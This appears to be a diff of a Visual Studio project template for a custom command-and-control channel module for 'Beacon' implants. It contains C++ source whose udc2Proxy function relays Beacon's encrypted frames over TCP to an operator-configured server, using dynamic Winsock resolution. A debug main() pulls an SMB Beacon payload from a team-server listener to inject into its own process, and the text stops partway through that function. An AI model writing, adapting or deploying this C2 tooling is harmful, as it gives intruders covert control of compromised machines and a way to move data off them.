||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="UnitTest|Win32">
|
||||
<Configuration>UnitTest</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="UnitTest|x64">
|
||||
<Configuration>UnitTest</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{58ebee7c-b0cf-49e3-ae82-e60750c03613}</ProjectGuid>
|
||||
<RootNamespace>BOFTemplate</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Makefile</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<LocalDebuggerCommand>Debug\udc2_bof.exe</LocalDebuggerCommand>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='UnitTest|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Makefile</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Makefile</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<LocalDebuggerCommand>x64\Debug\udc2_bof.exe</LocalDebuggerCommand>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='UnitTest|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Makefile</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='UnitTest|Win32'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='UnitTest|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<NMakeBuildCommandLine>nmake /A all</NMakeBuildCommandLine>
|
||||
<NMakeReBuildCommandLine>nmake /A all</NMakeReBuildCommandLine>
|
||||
<NMakeCleanCommandLine>nmake clean</NMakeCleanCommandLine>
|
||||
<AdditionalOptions>/std:c++20</AdditionalOptions>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<NMakeBuildCommandLine>nmake /A all</NMakeBuildCommandLine>
|
||||
<NMakeReBuildCommandLine>nmake /A all</NMakeReBuildCommandLine>
|
||||
<NMakeCleanCommandLine>nmake clean</NMakeCleanCommandLine>
|
||||
<AdditionalOptions>/std:c++20</AdditionalOptions>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<NMakeBuildCommandLine>nmake /A all-debug</NMakeBuildCommandLine>
|
||||
<NMakeReBuildCommandLine>nmake /A all-debug</NMakeReBuildCommandLine>
|
||||
<NMakeCleanCommandLine>nmake clean</NMakeCleanCommandLine>
|
||||
<AdditionalOptions>/std:c++20</AdditionalOptions>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='UnitTest|Win32'">
|
||||
<NMakeBuildCommandLine>nmake /A all-debug</NMakeBuildCommandLine>
|
||||
<NMakeReBuildCommandLine>nmake /A all-debug</NMakeReBuildCommandLine>
|
||||
<NMakeCleanCommandLine>nmake clean</NMakeCleanCommandLine>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<NMakeBuildCommandLine>nmake /A all-debug</NMakeBuildCommandLine>
|
||||
<NMakeReBuildCommandLine>nmake /A all-debug</NMakeReBuildCommandLine>
|
||||
<NMakeCleanCommandLine>nmake clean</NMakeCleanCommandLine>
|
||||
<IncludePath>$(MSBuildProjectDirectory)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\build\native\include;$(IncludePath)</IncludePath>
|
||||
<AdditionalOptions>/std:c++20</AdditionalOptions>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='UnitTest|x64'">
|
||||
<NMakeBuildCommandLine>nmake /A all-debug</NMakeBuildCommandLine>
|
||||
<NMakeReBuildCommandLine>nmake /A all-debug</NMakeReBuildCommandLine>
|
||||
<NMakeCleanCommandLine>nmake clean</NMakeCleanCommandLine>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>false</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='UnitTest|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_GTEST;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>false</ConformanceMode>
|
||||
<LanguageStandard>stdcpp20</LanguageStandard>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\build\native\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>$(SolutionDir)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\lib\native\v140\windesktop\msvcstl\static\rt-static\$(PlatformTarget)\Debug\gtest_maind.lib;$(SolutionDir)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\lib\native\v140\windesktop\msvcstl\static\rt-static\$(PlatformTarget)\Debug\gtestd.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>false</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>false</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='UnitTest|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;_GTEST;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>false</ConformanceMode>
|
||||
<LanguageStandard>stdcpp20</LanguageStandard>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir)packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\build\native\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>$(SolutionDir)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\lib\native\v140\windesktop\msvcstl\static\rt-static\$(PlatformTarget)\Debug\gtest_maind.lib;$(SolutionDir)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\lib\native\v140\windesktop\msvcstl\static\rt-static\$(PlatformTarget)\Debug\gtestd.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>false</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="udc2_bof.cpp">
|
||||
<ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">C:\Users\User\source\repos\BOF-Template\x64\Debug\bof.exe</ExcludedFromBuild>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="base\helpers.h" />
|
||||
<ClInclude Include="udc2.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\tcp_udc2_server.py" />
|
||||
<None Include="Makefile" />
|
||||
<None Include="utils\boflint.py" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,38 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files\base">
|
||||
<UniqueIdentifier>{8fa0224c-f4ab-4998-991b-bf2b56db2848}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="udc2_bof.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="base\helpers.h">
|
||||
<Filter>Header Files\base</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="udc2.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Makefile" />
|
||||
<None Include="utils\boflint.py" />
|
||||
<None Include="..\tcp_udc2_server.py" />
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
@@ -0,0 +1,9 @@
|
||||
#pragma once
|
||||
typedef int(*UDC2ProxyCall)(const char* sendBuf, int sendBufLen, char* recvBuf, int recvBufMaxLen);
|
||||
typedef void(*UDC2ProxyClose)();
|
||||
|
||||
typedef struct _UDC2_INFO {
|
||||
DWORD version;
|
||||
UDC2ProxyCall proxyCall;
|
||||
UDC2ProxyClose proxyClose;
|
||||
} UDC2_INFO, * PUDC2_INFO;
|
||||
@@ -0,0 +1,373 @@
|
||||
#include <Windows.h>
|
||||
#include "base\helpers.h"
|
||||
#include "udc2.h"
|
||||
|
||||
/**
|
||||
* For the debug build we want:
|
||||
* a) Undefine DECLSPEC_IMPORT
|
||||
*/
|
||||
#ifdef _DEBUG
|
||||
#undef DECLSPEC_IMPORT
|
||||
#define DECLSPEC_IMPORT
|
||||
#include <string>
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
#endif
|
||||
|
||||
extern "C" {
|
||||
|
||||
// Define our Dynamic Function Resolution declarations
|
||||
DFR(WS2_32, WSAStartup);
|
||||
DFR(WS2_32, WSACleanup);
|
||||
DFR(WS2_32, inet_addr);
|
||||
DFR(WS2_32, htons);
|
||||
DFR(WS2_32, connect);
|
||||
DFR(WS2_32, socket);
|
||||
DFR(WS2_32, closesocket);
|
||||
DFR(WS2_32, send);
|
||||
DFR(WS2_32, recv);
|
||||
|
||||
#define WSAStartup WS2_32$WSAStartup
|
||||
#define WSACleanup WS2_32$WSACleanup
|
||||
#define inet_addr WS2_32$inet_addr
|
||||
#define htons WS2_32$htons
|
||||
#define connect WS2_32$connect
|
||||
#define socket WS2_32$socket
|
||||
#define closesocket WS2_32$closesocket
|
||||
#define send WS2_32$send
|
||||
#define recv WS2_32$recv
|
||||
|
||||
#define FRAME_LENGTH 4
|
||||
LPCSTR gUDC2Server = "127.0.0.1"; // SET THIS TO THE BIND ADDRESS OF THE UDC2 TCP SERVER PYTHON SCRIPT
|
||||
USHORT gUDC2ServerPort = 3333; // SET THIS TO THE BIND PORT OF THE UDC2 TCP SERVER PYTHON SCRIPT
|
||||
SOCKET gSocket = INVALID_SOCKET;
|
||||
|
||||
/**
|
||||
* @brief Beacon calls this function to send/receive encrypted frame data
|
||||
* via the UDC2 channel. The sendBuf parameter points to the outgoing frame
|
||||
* data and the recvBuf parameter expects to receive the response. This is in
|
||||
* effect a proxy function as it intercepts the outbound and inbound frame
|
||||
* data.
|
||||
*
|
||||
* Note:
|
||||
* - Send the sendBuf data to the UDC2 server
|
||||
* - Copy the relayed response frame into recvBuf
|
||||
* - Return the total number of bytes copied to recvBuf
|
||||
* - Return -1 to indicate an error condition
|
||||
* - A return value of -1 or 0 causes Beacon to reset the session
|
||||
*
|
||||
*
|
||||
* @param sendBuf Points to Beacon frame data that needs to be sent out
|
||||
* @param sendBufLen The total length of the frame data
|
||||
* @param recvBuf Points to Beacon memory that you should copy response frame data to
|
||||
* @param recvBufMaxLen The max size of the recv buffer. Do not copy data past this length.
|
||||
* Note that this size can be controlled by the tasks_max_size malleable c2 profile setting. It
|
||||
* defaults to 1 MB.
|
||||
* @return The total number of bytes copied to recvBuf or -1 on any failure
|
||||
*/
|
||||
int udc2Proxy(const char* sendBuf, int sendBufLen, char* recvBuf, int recvBufMaxLen) {
|
||||
int bytesSent = 0;
|
||||
int bytesToReceive = 0;
|
||||
int bytesCopied = 0;
|
||||
|
||||
/**
|
||||
* Send out our frame. Beacon always provides us a complete frame in sendBuf.
|
||||
* The structure in sendBuf is -> | 4-byte frame data length | frame data |
|
||||
*/
|
||||
while (bytesSent < sendBufLen) {
|
||||
int result = send(gSocket, sendBuf + bytesSent, sendBufLen - bytesSent, 0);
|
||||
if (result <= 0)
|
||||
return SOCKET_ERROR;
|
||||
bytesSent += result;
|
||||
}
|
||||
|
||||
/**
|
||||
* We'll read the frame length into the recv buffer first so we know how much
|
||||
* more data we need to receive, and then we'll complete the frame by reading
|
||||
* in the rest of the data. The data that goes into recvBuf must look like
|
||||
* -> | 4-byte frame data length | frame data |
|
||||
*
|
||||
* NOTE: The frame length value must always be written in little endian.
|
||||
*/
|
||||
int frameLen = recv(gSocket, recvBuf, FRAME_LENGTH, 0);
|
||||
if (frameLen <= 0)
|
||||
return SOCKET_ERROR;
|
||||
|
||||
/* don't receive more than we have space for */
|
||||
bytesToReceive = *(int*)recvBuf;
|
||||
if (bytesToReceive + FRAME_LENGTH > recvBufMaxLen)
|
||||
return SOCKET_ERROR;
|
||||
|
||||
/* receive the rest of the data into the read buffer */
|
||||
while (bytesCopied < bytesToReceive) {
|
||||
int result = recv(gSocket, recvBuf + FRAME_LENGTH + bytesCopied, bytesToReceive - bytesCopied, 0);
|
||||
if (result <= 0)
|
||||
return SOCKET_ERROR;
|
||||
bytesCopied += result;
|
||||
}
|
||||
|
||||
/* here we have to account for the 4-byte frame length we wrote first, plus the frame data */
|
||||
return bytesCopied + FRAME_LENGTH;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Called by Beacon when closing the UDC2 channel. This should be used for any cleanup
|
||||
* you may need to perform.
|
||||
*/
|
||||
void udc2Close() {
|
||||
closesocket(gSocket);
|
||||
WSACleanup();
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Example function to perform any local initialization tasks for your UDC2 BOF
|
||||
*/
|
||||
int init() {
|
||||
struct sockaddr_in sock;
|
||||
WORD wVersionRequested;
|
||||
WSADATA wsaData;
|
||||
int result;
|
||||
|
||||
/* init winsock */
|
||||
wVersionRequested = MAKEWORD(2, 2);
|
||||
result = WSAStartup(wVersionRequested, &wsaData);
|
||||
if (result != 0)
|
||||
return SOCKET_ERROR;
|
||||
|
||||
/* set up a TCP socket to connect to our UDC2 server */
|
||||
sock.sin_family = AF_INET;
|
||||
sock.sin_addr.s_addr = inet_addr(gUDC2Server);
|
||||
sock.sin_port = htons(gUDC2ServerPort);
|
||||
gSocket = socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (gSocket == INVALID_SOCKET) {
|
||||
WSACleanup();
|
||||
return SOCKET_ERROR;
|
||||
}
|
||||
|
||||
/**
|
||||
* NOTE: Here you might choose to set some socket options such as a timeout
|
||||
* so that Beacon doesn't just sit unmasked in the event your connect, send,
|
||||
* or recv hangs.
|
||||
*/
|
||||
|
||||
/* connect to our UDC2 server */
|
||||
if (connect(gSocket, (struct sockaddr*)&sock, sizeof(sock))) {
|
||||
closesocket(gSocket);
|
||||
WSACleanup();
|
||||
return SOCKET_ERROR;
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief The UDC2 BOF entry point. Beacon calls this function to initialize the
|
||||
* UDC2 BOF and passes a pointer to a UDC2_INFO structure as the args parameter.
|
||||
* You must populate the struct members with your udc2Proxy and udc2Close functions,
|
||||
* otherwise Beacon will assume an error has occurred and exit. This is where any
|
||||
* initialization you need for your UDC2 channel should occur.
|
||||
*
|
||||
* @param args Pointer to a UDC2_INFO structure
|
||||
* @param len Length of the args buffer
|
||||
*/
|
||||
void go(char* args, int len) {
|
||||
PUDC2_INFO funcs = (PUDC2_INFO)args;
|
||||
|
||||
if (ERROR_SUCCESS == init()) {
|
||||
funcs->proxyCall = udc2Proxy;
|
||||
funcs->proxyClose = udc2Close;
|
||||
funcs->version = 0x041200;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Define a main function for the debug build
|
||||
#if defined(_DEBUG)
|
||||
|
||||
#define PAYLOAD_MAX_SIZE 512 * 1024
|
||||
/**
|
||||
* BUFFER_MAX_SIZE mocks the tasks_max_size malleable c2 profile setting. It
|
||||
* is passed as the frameBufferMaxLen value to your udc2 proxy function.
|
||||
* NOTE: If you change the tasks_max_size to something other than the
|
||||
* default (which is 1 MB), you should also change BUFFER_MAX_SIZE to match
|
||||
* it when testing code.
|
||||
*/
|
||||
#define BUFFER_MAX_SIZE 1024 * 1024
|
||||
|
||||
// read a frame from a file
|
||||
DWORD readFrame(HANDLE myHandle, char* buffer, DWORD max) {
|
||||
DWORD size = 0, temp = 0, total = 0;
|
||||
|
||||
// read the 4-byte length
|
||||
ReadFile(myHandle, (char*)&size, 4, &temp, NULL);
|
||||
|
||||
// read the whole thing in
|
||||
while (total < size) {
|
||||
ReadFile(myHandle, buffer + total, size - total, &temp, NULL);
|
||||
total += temp;
|
||||
}
|
||||
|
||||
return size;
|
||||
}
|
||||
|
||||
// receive a frame from a socket
|
||||
DWORD recvFrame(SOCKET mySocket, char* buffer, DWORD max) {
|
||||
DWORD size = 0, total = 0, temp = 0;
|
||||
|
||||
// read the 4-byte length
|
||||
recv(mySocket, (char*)&size, 4, 0);
|
||||
|
||||
// read in the result
|
||||
while (total < size) {
|
||||
temp = recv(mySocket, buffer + total, size - total, 0);
|
||||
total += temp;
|
||||
}
|
||||
|
||||
return size;
|
||||
}
|
||||
|
||||
// send a frame via a socket
|
||||
void sendFrame(SOCKET mySocket, char* buffer, int length) {
|
||||
send(mySocket, (char*)&length, 4, 0);
|
||||
send(mySocket, buffer, length, 0);
|
||||
}
|
||||
|
||||
// write a frame to a file
|
||||
void writeFrame(HANDLE myHandle, char* buffer, DWORD length) {
|
||||
DWORD wrote = 0;
|
||||
WriteFile(myHandle, (void*)&length, 4, &wrote, NULL);
|
||||
WriteFile(myHandle, buffer, length, &wrote, NULL);
|
||||
}
|
||||
|
||||
/*******************************************************************
|
||||
* @brief This function retrieves a Beacon payload and injects it into
|
||||
* the current process. This allows the Debug Beacon to mock how the UDC2
|
||||
* Beacon functions.
|
||||
*
|
||||
* NOTE: This is for Debug purposes only and is not intended to
|
||||
* replace the need for a UDC2 server. Also be aware that the debug
|
||||
* session does not honor any sleep malleable c2 profile settings as
|
||||
* it uses an SMB Beacon payload which does not support sleep. This
|
||||
* will make the debug session in effect interactive, however when
|
||||
* using your Release BOF, the sleep malleable c2 profile settings
|
||||
* will be honored.
|
||||
*
|
||||
* 1. Set up a UDC2 listener (select debug-only)
|
||||
* 2. Update the UDC2_DEBUG_HOST and UDC2_DEBUG_PORT variables
|
||||
* 3. Start the example UDC2 server
|
||||
* 4. Select "Local Windows Debugger"
|
||||
********************************************************************/
|
||||
int main(int argc, char* argv[]) {
|
||||
struct sockaddr_in sock;
|
||||
UDC2_INFO udc2Info = { 0 };
|
||||
WSADATA wsaData;
|
||||
WORD wVersionRequested;
|
||||
LPCSTR UDC2_DEBUG_HOST = "127.0.0.1"; // SET THIS TO YOUR UDC2 LISTENER HOST (Team Server)
|
||||
USHORT UDC2_DEBUG_PORT = 2222; // SET THIS TO YOUR UDC2 LISTENER PORT
|
||||
|
||||
wVersionRequested = MAKEWORD(2, 2);
|
||||
sock.sin_family = AF_INET;
|
||||
sock.sin_addr.s_addr = inet_addr(UDC2_DEBUG_HOST);
|
||||
sock.sin_port = htons(UDC2_DEBUG_PORT);
|
||||
|
||||
// initialize the udc2 bof
|
||||
go((char*)&udc2Info, 0);
|
||||
|
||||
if (!udc2Info.proxyCall || !udc2Info.proxyClose) {
|
||||
printf("UDC2 functions not initialized properly.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
WSAStartup(wVersionRequested, &wsaData);
|
||||
|
||||
// attempt to connect to udc2 listener
|
||||
SOCKET socketUDC2 = socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (connect(socketUDC2, (struct sockaddr*)&sock, sizeof(sock))) {
|
||||
printf(
|
||||
"Could not connect to %s:%d. Make sure you have a UDC2 debug-only listener set up.\n",
|
||||
UDC2_DEBUG_HOST,
|
||||
UDC2_DEBUG_PORT
|
||||
);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
/**
|
||||
* Grab the correct smb Beacon for our arch.
|
||||
*
|
||||
* NOTE: arch, block, pipename, and debugpayload
|
||||
* commands are only available to debug-only udc2
|
||||
* listeners and only intended for use by this
|
||||
* VS project.
|
||||
*/
|
||||
#ifdef _M_X64
|
||||
sendFrame(socketUDC2, (char*)"arch=x64", 8);
|
||||
#else
|
||||
sendFrame(socketUDC2, (char*)"arch=x86", 8);
|
||||
#endif
|
||||
sendFrame(socketUDC2, (char*)"block=100", 9);
|
||||
